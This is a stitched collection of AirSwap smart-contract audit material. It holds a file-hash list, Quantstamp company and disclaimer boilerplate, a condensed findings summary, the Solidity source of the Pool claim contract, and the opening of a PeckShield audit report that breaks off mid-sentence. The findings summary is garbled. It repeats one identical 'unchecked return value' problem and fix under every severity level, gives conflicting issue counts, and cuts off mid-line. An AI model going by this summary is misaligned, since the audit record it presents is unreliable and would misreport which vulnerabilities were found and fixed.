3d9797822cc119ac07cfb02705033d982d429ad46b0d39a0cfa4f7df1d9bfdd6 ./source/wrapper/contracts/HelperMock.sol a0a4226ee86de0f2f163d9ca14e9486b9a9a82137e4e97495564cd37e92c8265 ./source/wrapper/contracts/Migrations.sol 853712933537f67add61f1299d0b763664116f3f36ae87f55743104fbc77861a ./source/wrapper/contracts/Imports.sol 67fc8542fb154458c3a6e4e07c3eb636f65ebb2074082ab24727da09b7684feb ./source/wrapper/contracts/Wrapper.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/types/contracts/Migrations.sol 74947f792f6128dad955558044e7a2d13ecda4f6887cb85d9bf12f4e01423e6e ./source/types/contracts/Imports.sol 95f41e78212c566ea22441a6e534feae44b7505f65eea89bf67dc7a73910821e ./source/types/contracts/Types.sol fe4fc1137e2979f1af89f69b459244261b471b5fdbd9bdbac74382c14e8de4db ./source/types/test/MockTypes.sol Tests 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/indexer/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/indexer/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914./source/indexer/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/indexer/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/indexer/coverage/lcov-report/sorter.js 9b9b6feb6ad0bf0d1c9ca2e89717499152d278ff803795ab25b975826ce3e6fb ./source/indexer/test/Indexer-unit.js b8afaf2ac9876ada39483c662e3017288e78641d475c3aad8baae3e42f2692b1 ./source/indexer/test/Indexer.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/tokens/truffle-config.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/index/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/index/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/index/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/index/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/index/coverage/lcov-report/sorter.js 5b30ebaf2cb02fdb583a91b8d80e0d3332f613f1f9d03227fa1f497182612d79 ./source/index/test/Index-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/delegate-factory/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate-factory/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate-factory/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate-factory/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate-factory/coverage/lcov- report/sorter.js e1e96cac95b7ca35a3eff407e69378395fee64fbd40bc46731e02cab3386f1a9 ./source/delegate-factory/test/Delegate- Factory-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/delegate/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate/coverage/lcov- report/sorter.js 0d39c455ec8b473be0aa20b21fff3324e87fe688281cc29ce446992682766197 ./source/delegate/test/Delegate.js 6568ea0ed57b6cfb6e9671ae07e9721e80b9a74f4af2a1f31a730df45eed7bc4 ./source/delegate/test/Delegate-unit.js 67a94a4b8a64b862eac78c2be9a76fdfb57412113b0e98342cf9be743c065045 ./source/swap/.solcover.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/swap/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/swap/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/swap/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/swap/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/swap/coverage/lcov-report/sorter.js eb606ca3e7fe215a183e67c73af188a3a463a73a2571896403890bd6308b9553 ./source/swap/test/Swap.js 02ed0eee9b5fd1bdb2e29ef7c76902b8c7788d56cccb08ba0a1c62acdb0c240d ./source/swap/test/Swap-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/wrapper/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/wrapper/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/wrapper/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/wrapper/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/wrapper/coverage/lcov-report/sorter.js 8e8dcdef012cdc8bf9dc2758afcb654ce3ec55a4522ebab9d80455813c1c2234 ./source/wrapper/test/Wrapper.js fb48b5abc2cc9cfd07767e93c37130ff412088741f0685deb74c65b1b596daf9 ./source/wrapper/test/Wrapper-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/types/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/types/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/types/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/types/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/types/coverage/lcov-report/sorter.js 94e6cf001c8edb49546d881416a1755aabe0a01f562df4140be166c3af2936fc ./source/types/test/Types-unit.js About QuantstampQuantstamp is a Y Combinator-backed company that helps to secure smart contracts at scale using computer-aided reasoning tools, with a mission to help boost adoption of this exponentially growing technology. Quantstamp’s team boasts decades of combined experience in formal verification, static analysis, and software verification. Collectively, our individuals have over 500 Google scholar citations and numerous published papers. In its mission to proliferate development and adoption of blockchain applications, Quantstamp is also developing a new protocol for smart contract verification to help smart contract developers and projects worldwide to perform cost-effective smart contract security audits . To date, Quantstamp has helped to secure hundreds of millions of dollars of transaction value in smart contracts and has assisted dozens of blockchain projects globally with its white glove security auditing services. As an evangelist of the blockchain ecosystem, Quantstamp assists core infrastructure projects and leading community initiatives such as the Ethereum Community Fund to expedite the adoption of blockchain technology. Finally, Quantstamp’s dedication to research and development in the form of collaborations with leading academic institutions such as National University of Singapore and MIT (Massachusetts Institute of Technology) reflects Quantstamp’s commitment to enable world-class smart contract innovation. Timeliness of content The content contained in the report is current as of the date appearing on the report and is subject to change without notice, unless indicated otherwise by Quantstamp; however, Quantstamp does not guarantee or warrant the accuracy, timeliness, or completeness of any report you access using the internet or other means, and assumes no obligation to update any information following publication. Notice of confidentiality This report, including the content, data, and underlying methodologies, are subject to the confidentiality and feedback provisions in your agreement with Quantstamp. These materials are not to be disclosed, extracted, copied, or distributed except to the extent expressly authorized by Quantstamp. Links to other websites You may, through hypertext or other computer links, gain access to web sites operated by persons other than Quantstamp, Inc. (Quantstamp). Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites' owners. You agree that Quantstamp are not responsible for the content or operation of such web sites, and that Quantstamp shall have no liability to you or any other person or entity for the use of third-party web sites. Except as described below, a hyperlink from this web site to another web site does not imply or mean that Quantstamp endorses the content on that web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the report. Quantstamp assumes no responsibility for the use of third- party software on the website and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. Disclaimer This report is based on the scope of materials and documentation provided for a limited review at the time provided. Results may not be complete nor inclusive of all vulnerabilities. The review and this report are provided on an as-is, where-is, and as-available basis. You agree that your access and/or use, including but not limited to any associated services, products, protocols, platforms, content, and materials, will be at your sole risk. Cryptographic tokens are emergent technologies and carry with them high levels of technical risk and uncertainty. The Solidity language itself and other smart contract languages remain under development and are subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areas beyond Solidity or the smart contract programming language, or other programming aspects that could present security risks. You may risk loss of tokens, Ether, and/or other loss. A report is not an endorsement (or other opinion) of any particular project or team, and the report does not guarantee the security of any particular project. A report does not consider, and should not be interpreted as considering or having any bearing on, the potential economics of a token, token sale or any other product, service or other asset. No third party should rely on the reports in any way, including for the purpose of making any decisions to buy or sell any token, product, service or other asset. To the fullest extent permitted by law, we disclaim all warranties, express or implied, in connection with this report, its content, and the related services and products and your use thereof, including, without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement. We do not warrant, endorse, guarantee, or assume responsibility for any product or service advertised or offered by a third party through the product, any open source or third party software, code, libraries, materials, or information linked to, called by, referenced by or accessible through the report, its content, and the related services and products, any hyperlinked website, or any website or mobile application featured in any banner or other advertising, and we will not be a party to or in any way be responsible for monitoring any transaction between you and any third-party providers of products or services. As with the purchase or use of a product or service through any medium or in any environment, you should use your best judgment and exercise caution where appropriate. You may risk loss of QSP tokens or other loss. FOR AVOIDANCE OF DOUBT, THE REPORT, ITS CONTENT, ACCESS, AND/OR USAGE THEREOF, INCLUDING ANY ASSOCIATED SERVICES OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, INVESTMENT, TAX, LEGAL, REGULATORY, OR OTHER ADVICE. AirSwap Audit
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 1 - Critical: 1 - Observations: 1 - Unresolved: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 2.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Moderate 3.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 3.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Major 4.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 4.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Critical 5.a Problem (one line with code reference) - Unchecked return value in Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major 4.a Problem: Funds may be locked if is called multiple times setRuleAndIntent 4.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the token transfer logic of Delegate.setRuleAndIntent and Indexer.setIntent are compatible. 2.b Fix: This issue has been fixed as of pull request. Moderate Issues: 3.a Problem: Centralization of Power in Smart Contracts 3.b Fix: This has been fixed by removing the pausing functionality, unsetIntentForUser() and killContract(). Major Issues: 0 Critical Issues: 0 Observations: Integer arithmetic may cause incorrect pricing logic when plugging back into Equation A. Conclusion: The report has identified one minor and one moderate issue. Both issues have been fixed as of the latest commit.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@airswap/staking/contracts/interfaces/IStaking.sol"; import "./interfaces/IPool.sol"; /** * @title AirSwap Pool: Claim Tokens * @notice https://www.airswap.io/ */ contract Pool is IPool, Ownable { using SafeERC20 for IERC20; bytes32 public constant DOMAIN_TYPEHASH = keccak256( abi.encodePacked( "EIP712Domain(", "string name,", "string version,", "uint256 chainId,", "address verifyingContract", ")" ) ); bytes32 public constant CLAIM_TYPEHASH = keccak256( abi.encodePacked( "Claim(", "uint256 nonce,", "address participant,", "uint256 score", ")" ) ); bytes32 public constant DOMAIN_NAME = keccak256("POOL"); bytes32 public constant DOMAIN_VERSION = keccak256("1"); uint256 public immutable DOMAIN_CHAIN_ID; bytes32 public immutable DOMAIN_SEPARATOR; uint256 internal constant MAX_PERCENTAGE = 100; uint256 internal constant MAX_SCALE = 77; // Larger the scale, lower the output for a claim uint256 public scale; // Max percentage for a claim with infinite score uint256 public max; // Mapping of address to boolean to enable admin accounts mapping(address => bool) public admins; /** * @notice Double mapping of signers to nonce groups to nonce states * @dev The nonce group is computed as nonce / 256, so each group of 256 sequential nonces uses the same key * @dev The nonce states are encoded as 256 bits, for each nonce in the group 0 means available and 1 means used */ mapping(address => mapping(uint256 => uint256)) internal noncesClaimed; // Staking contract address address public stakingContract; // Staking token address address public stakingToken; /** * @notice Constructor * @param _scale uint256 * @param _max uint256 * @param _stakingContract address * @param _stakingToken address */ constructor( uint256 _scale, uint256 _max, address _stakingContract, address _stakingToken ) { require(_max <= MAX_PERCENTAGE, "MAX_TOO_HIGH"); require(_scale <= MAX_SCALE, "SCALE_TOO_HIGH"); scale = _scale; max = _max; stakingContract = _stakingContract; stakingToken = _stakingToken; admins[msg.sender] = true; uint256 currentChainId = getChainId(); DOMAIN_CHAIN_ID = currentChainId; DOMAIN_SEPARATOR = keccak256( abi.encode( DOMAIN_TYPEHASH, DOMAIN_NAME, DOMAIN_VERSION, currentChainId, this ) ); IERC20(stakingToken).approve(stakingContract, 2**256 - 1); } /** * @notice Set scale * @dev Only owner * @param _scale uint256 */ function setScale(uint256 _scale) external override onlyOwner { require(_scale <= MAX_SCALE, "SCALE_TOO_HIGH"); scale = _scale; emit SetScale(scale); } /** * @notice Set max * @dev Only owner * @param _max uint256 */ function setMax(uint256 _max) external override onlyOwner { require(_max <= MAX_PERCENTAGE, "MAX_TOO_HIGH"); max = _max; emit SetMax(max); } /** * @notice Add admin address * @dev Only owner * @param _admin address */ function addAdmin(address _admin) external override onlyOwner { require(_admin != address(0), "INVALID_ADDRESS"); admins[_admin] = true; } /** * @notice Remove admin address * @dev Only owner * @param _admin address */ function removeAdmin(address _admin) external override onlyOwner { require(admins[_admin] == true, "ADMIN_NOT_SET"); admins[_admin] = false; } /** * @notice Set staking contract address * @dev Only owner * @param _stakingContract address */ function setStakingContract(address _stakingContract) external override onlyOwner { require(_stakingContract != address(0), "INVALID_ADDRESS"); stakingContract = _stakingContract; IERC20(stakingToken).approve(stakingContract, 2**256 - 1); } /** * @notice Set staking token address * @dev Only owner * @param _stakingToken address */ function setStakingToken(address _stakingToken) external override onlyOwner { require(_stakingToken != address(0), "INVALID_ADDRESS"); stakingToken = _stakingToken; IERC20(stakingToken).approve(stakingContract, 2**256 - 1); } /** * @notice Admin function to migrate funds * @dev Only owner * @param tokens address[] * @param dest address */ function drainTo(address[] calldata tokens, address dest) external override onlyOwner { for (uint256 i = 0; i < tokens.length; i++) { uint256 bal = IERC20(tokens[i]).balanceOf(address(this)); IERC20(tokens[i]).safeTransfer(dest, bal); } emit DrainTo(tokens, dest); } /** * @notice Withdraw tokens from the pool using a signed claim * @param token address * @param nonce uint256 * @param score uint256 * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function withdraw( address token, uint256 nonce, uint256 score, uint8 v, bytes32 r, bytes32 s ) external override { withdrawProtected(0, msg.sender, token, nonce, msg.sender, score, v, r, s); } /** * @notice Withdraw tokens from the pool using a signed claim and send to recipient * @param minimumAmount uint256 * @param token address * @param recipient address * @param nonce uint256 * @param score uint256 * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function withdrawWithRecipient( uint256 minimumAmount, address token, address recipient, uint256 nonce, uint256 score, uint8 v, bytes32 r, bytes32 s ) external override { withdrawProtected( minimumAmount, recipient, token, nonce, msg.sender, score, v, r, s ); } /** * @notice Withdraw tokens from the pool using a signed claim and stake * @param minimumAmount uint256 * @param token address * @param nonce uint256 * @param score uint256 * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function withdrawAndStake( uint256 minimumAmount, address token, uint256 nonce, uint256 score, uint8 v, bytes32 r, bytes32 s ) external override { require(token == address(stakingToken), "INVALID_TOKEN"); _checkValidClaim(nonce, msg.sender, score, v, r, s); uint256 amount = _withdrawCheck(score, token, minimumAmount); IStaking(stakingContract).stakeFor(msg.sender, amount); emit Withdraw(nonce, msg.sender, token, amount); } /** * @notice Withdraw tokens from the pool using signature and stake for another account * @param minimumAmount uint256 * @param token address * @param account address * @param nonce uint256 * @param score uint256 * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function withdrawAndStakeFor( uint256 minimumAmount, address token, address account, uint256 nonce, uint256 score, uint8 v, bytes32 r, bytes32 s ) external override { require(token == address(stakingToken), "INVALID_TOKEN"); _checkValidClaim(nonce, msg.sender, score, v, r, s); uint256 amount = _withdrawCheck(score, token, minimumAmount); IERC20(stakingToken).approve(stakingContract, amount); IStaking(stakingContract).stakeFor(account, amount); emit Withdraw(nonce, msg.sender, token, amount); } /** * @notice Withdraw tokens from the pool using a signed claim * @param minimumAmount uint256 * @param token address * @param participant address * @param nonce uint256 * @param score uint256 * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function withdrawProtected( uint256 minimumAmount, address recipient, address token, uint256 nonce, address participant, uint256 score, uint8 v, bytes32 r, bytes32 s ) public override returns (uint256) { _checkValidClaim(nonce, participant, score, v, r, s); uint256 amount = _withdrawCheck(score, token, minimumAmount); IERC20(token).safeTransfer(recipient, amount); emit Withdraw(nonce, participant, token, amount); return amount; } /** * @notice Calculate output amount for an input score * @param score uint256 * @param token address * @return amount uint256 amount to claim based on balance, scale, and max */ function calculate(uint256 score, address token) public view override returns (uint256 amount) { uint256 balance = IERC20(token).balanceOf(address(this)); uint256 divisor = (uint256(10)**scale) + score; return (max * score * balance) / divisor / 100; } /** * @notice Verify a signature * @param nonce uint256 * @param participant address * @param score uint256 * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function verify( uint256 nonce, address participant, uint256 score, uint8 v, bytes32 r, bytes32 s ) public view override returns (bool valid) { require(DOMAIN_CHAIN_ID == getChainId(), "CHAIN_ID_CHANGED"); bytes32 claimHash = keccak256( abi.encode(CLAIM_TYPEHASH, nonce, participant, score) ); address signatory = ecrecover( keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, claimHash)), v, r, s ); admins[signatory] && !nonceUsed(participant, nonce) ? valid = true : valid = false; } /** * @notice Returns true if the nonce has been used * @param participant address * @param nonce uint256 */ function nonceUsed(address participant, uint256 nonce) public view override returns (bool) { uint256 groupKey = nonce / 256; uint256 indexInGroup = nonce % 256; return (noncesClaimed[participant][groupKey] >> indexInGroup) & 1 == 1; } /** * @notice Returns the current chainId using the chainid opcode * @return id uint256 The chain id */ function getChainId() public view returns (uint256 id) { // no-inline-assembly assembly { id := chainid() } } /** * @notice Checks Claim Nonce, Participant, Score, Signature * @param nonce uint256 * @param participant address * @param score uint256 * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function _checkValidClaim( uint256 nonce, address participant, uint256 score, uint8 v, bytes32 r, bytes32 s ) internal { require(DOMAIN_CHAIN_ID == getChainId(), "CHAIN_ID_CHANGED"); bytes32 claimHash = keccak256( abi.encode(CLAIM_TYPEHASH, nonce, participant, score) ); address signatory = ecrecover( keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, claimHash)), v, r, s ); require(admins[signatory], "UNAUTHORIZED"); require(_markNonceAsUsed(participant, nonce), "NONCE_ALREADY_USED"); } /** * @notice Marks a nonce as used for the given participant * @param participant address * @param nonce uint256 * @return bool True if nonce was not marked as used already */ function _markNonceAsUsed(address participant, uint256 nonce) internal returns (bool) { uint256 groupKey = nonce / 256; uint256 indexInGroup = nonce % 256; uint256 group = noncesClaimed[participant][groupKey]; // If it is already used, return false if ((group >> indexInGroup) & 1 == 1) { return false; } noncesClaimed[participant][groupKey] = group | (uint256(1) << indexInGroup); return true; } /** * @notice Withdraw tokens from the pool using a score * @param score uint256 * @param token address * @param minimumAmount uint256 */ function _withdrawCheck( uint256 score, address token, uint256 minimumAmount ) internal view returns (uint256) { require(score > 0, "SCORE_MUST_BE_PROVIDED"); uint256 amount = calculate(score, token); require(amount >= minimumAmount, "INSUFFICIENT_AMOUNT"); return amount; } }
Public SMART CONTRACT AUDIT REPORT for AirSwap Protocol Prepared By: Yiqun Chen PeckShield February 15, 2022 1/20 PeckShield Audit Report #: 2022-038Public Document Properties Client AirSwap Protocol Title Smart Contract Audit Report Target AirSwap Version 1.0 Author Xuxian Jiang Auditors Xiaotao Wu, Patrick Liu, Xuxian Jiang Reviewed by Yiqun Chen Approved by Xuxian Jiang Classification Public Version Info Version Date Author(s) Description 1.0 February 15, 2022 Xuxian Jiang Final Release 1.0-rc January 30, 2022 Xuxian Jiang Release Candidate #1 Contact For more information about this document and its contents, please contact PeckShield Inc. Name Yiqun Chen Phone +86 183 5897 7782 Email contact@peckshield.com 2/20 PeckShield Audit Report #: 2022-038Public Contents 1 Introduction 4 1.1 About AirSwap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 1.2 About PeckShield . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.3 Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.4 Disclaimer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 2 Findings 9 2.1 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 2.2 Key Findings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3 Detailed Results 11 3.1 Proper Allowance Reset For Old Staking Contracts . . . . . . . . . . . . . . . . . . 11 3.2 Removal of Unused State/Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 3.3 Accommodation of Non-ERC20-Compliant Tokens . . . . . . . . . . . . . . . . . . . 14 3.4 Trust Issue of Admin Keys . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 4 Conclusion 18 References 19 3/20 PeckShield Audit Report #: 2022-038Public 1 | Introduction Given the opportunity to review the design document and related source code of the AirSwapprotocol, we outline in the report our systematic approach to evaluate potential security issues in the smart contract implementation, expose possible semantic inconsistencies between smart contract code and design document, and provide additional suggestions or recommendations for improvement. Our results show that the given version of smart contracts can be further improved due to the presence of several issues related to either security or performance. This document outlines our audit results. 1.1 About AirSwap AirSwapcurates a peer-to-peer network for trading digital assets. The protocol is designed to protect traders from counterparty risk, price slippage, and front running. Any market participant can discover others and trade directly peer-to-peer. At the protocol level, each swap is between two parties, a signer and a sender. The signer is the party that creates and cryptographically signs an order, and the sender is the party that sends the order to the Ethereum blockchain for settlement. As a decentralized and open project, governance and community activities are also supported by rewards protocols built with on-chain components. The basic information of audited contracts is as follows: Table 1.1: Basic Information of AirSwap ItemDescription NameAirSwap Protocol Website https://www.airswap.io/ TypeSmart Contract Language Solidity Audit Method Whitebox Latest Audit Report February 15, 2022 In the following, we show the Git repository of reviewed files and the commit hash value used in this audit: 4/20 PeckShield Audit Report #: 2022-038Public •https://github.com/airswap/airswap-protocols.git (ac62b71) And this is the commit ID after all fixes for the issues found in the audit have been checked in: •https://github.com/airswap/airswap-protocols.git (84935eb) 1.2 About PeckShield PeckShield Inc. [10] is a leading blockchain security company with the goal of elevating the secu- rity, privacy, and usability of current blockchain ecosystems by offering top-notch, industry-leading servicesandproducts(includingtheserviceofsmartcontractauditing). WearereachableatTelegram (https://t.me/peckshield),Twitter( http://twitter.com/peckshield),orEmail( contact@peckshield.com). Table 1.2: Vulnerability Severity ClassificationImpactHigh Critical High Medium Medium High Medium Low Low Medium Low Low High Medium Low Likelihood 1.3 Methodology To standardize the evaluation, we define the following terminology based on OWASP Risk Rating Methodology [9]: •Likelihood represents how likely a particular vulnerability is to be uncovered and exploited in the wild; •Impact measures the technical loss and business damage of a successful attack; •Severity demonstrates the overall criticality of the risk. Likelihood and impact are categorized into three ratings: H,MandL, i.e., high,mediumand lowrespectively. Severity is determined by likelihood and impact, and can be accordingly classified into four categories, i.e., Critical,High,Medium,Lowshown in Table 1.2. 5/20 PeckShield Audit Report #: 2022-038Public Table 1.3: The Full List of Check Items Category Check Item Basic Coding BugsConstructor Mismatch Ownership Takeover Redundant Fallback Function Overflows & Underflows Reentrancy Money-Giving Bug Blackhole Unauthorized Self-Destruct Revert DoS Unchecked External Call Gasless Send Send Instead Of Transfer Costly Loop (Unsafe) Use Of Untrusted Libraries (Unsafe) Use Of Predictable Variables Transaction Ordering Dependence Deprecated Uses Semantic Consistency Checks Semantic Consistency Checks Advanced DeFi ScrutinyBusiness Logics Review Functionality Checks Authentication Management Access Control & Authorization Oracle Security Digital Asset Escrow Kill-Switch Mechanism Operation Trails & Event Generation ERC20 Idiosyncrasies Handling Frontend-Contract Integration Deployment Consistency Holistic Risk Management Additional RecommendationsAvoiding Use of Variadic Byte Array Using Fixed Compiler Version Making Visibility Level Explicit Making Type Inference Explicit Adhering To Function Declaration Strictly Following Other Best Practices 6/20 PeckShield Audit Report #: 2022-038Public To evaluate the risk, we go through a list of check items and each would be labeled with a severity category. For one check item, if our tool or analysis does not identify any issue, the contract is considered safe regarding the check item. For any discovered issue, we might further deploy contracts on our private testnet and run tests to confirm the findings. If necessary, we would additionally build a PoC to demonstrate the possibility of exploitation. The concrete list of check items is shown in Table 1.3. In particular, we perform the audit according to the following procedure: •BasicCodingBugs: We first statically analyze given smart contracts with our proprietary static code analyzer for known coding bugs, and then manually verify (reject or confirm) all the issues found by our tool. •Semantic Consistency Checks: We then manually check the logic of implemented smart con- tracts and compare with the description in the white paper. •Advanced DeFiScrutiny: We further review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. •Additional Recommendations: We also provide additional suggestions regarding the coding and development of smart contracts from the perspective of proven programming practices. To better describe each issue we identified, we categorize the findings with Common Weakness Enumeration (CWE-699) [8], which is a community-developed list of software weakness types to better delineate and organize weaknesses around concepts frequently encountered in software devel- opment. Though some categories used in CWE-699 may not be relevant in smart contracts, we use the CWE categories in Table 1.4 to classify our findings. Moreover, in case there is an issue that may affect an active protocol that has been deployed, the public version of this report may omit such issue, but will be amended with full details right after the affected protocol is upgraded with respective fixes. 1.4 Disclaimer Note that this security audit is not designed to replace functional tests required before any software release, and does not give any warranties on finding all possible security issues of the given smart contract(s) or blockchain software, i.e., the evaluation result does not guarantee the nonexistence of any further findings of security issues. As one audit-based assessment cannot be considered comprehensive, we always recommend proceeding with several independent audits and a public bug bounty program to ensure the security of smart contract(s). Last but not least, this security audit should not be used as investment advice. 7/20 PeckShield Audit Report #: 2022-038Public Table 1.4: Common Weakness Enumeration (CWE) Classifications Used in This Audit Category Summary Configuration Weaknesses in this category are typically introduced during the configuration of the software. Data Processing Issues Weaknesses in this category are typically found in functional- ity that processes data. Numeric Errors Weaknesses in this category are related to improper calcula- tion or conversion of numbers. Security Features Weaknesses in this category are concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management. (Software security is not security software.) Time and State Weaknesses in this category are related to the improper man- agement of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads. Error Conditions, Return Values, Status CodesWeaknesses in this category include weaknesses that occur if a function does not generate the correct return/status code, or if the application does not handle all possible return/status codes that could be generated by a function. Resource Management Weaknesses in this category are related to improper manage- ment of system resources. Behavioral Issues Weaknesses in this category are related to unexpected behav- iors from code that an application uses. Business Logics Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application. Errors in business logic can be devastating to an entire application. Initialization and Cleanup Weaknesses in this category occur in behaviors that are used for initialization and breakdown. Arguments and Parameters Weaknesses in this category are related to improper use of arguments or parameters within function calls. Expression Issues Weaknesses in this category are related to incorrectly written expressions within code. Coding Practices Weaknesses in this category are related to coding practices that are deemed unsafe and increase the chances that an ex- ploitable vulnerability will be present in the application. They may not directly introduce a vulnerability, but indicate the product has not been carefully developed or maintained. 8/20 PeckShield Audit Report #: 2022-038Public 2 | Findings 2.1 Summary Here is a summary of our findings after analyzing the design and implementation of the AirSwap protocol smart contracts. During the first phase of our audit, we study the smart contract source code and run our in-house static code analyzer through the codebase. The purpose here is to statically identify known coding bugs, and then manually verify (reject or 